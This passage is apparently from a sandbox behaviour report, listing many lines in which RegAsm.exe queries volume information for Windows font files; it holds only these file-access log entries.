Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\DUBAI-BOLD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation
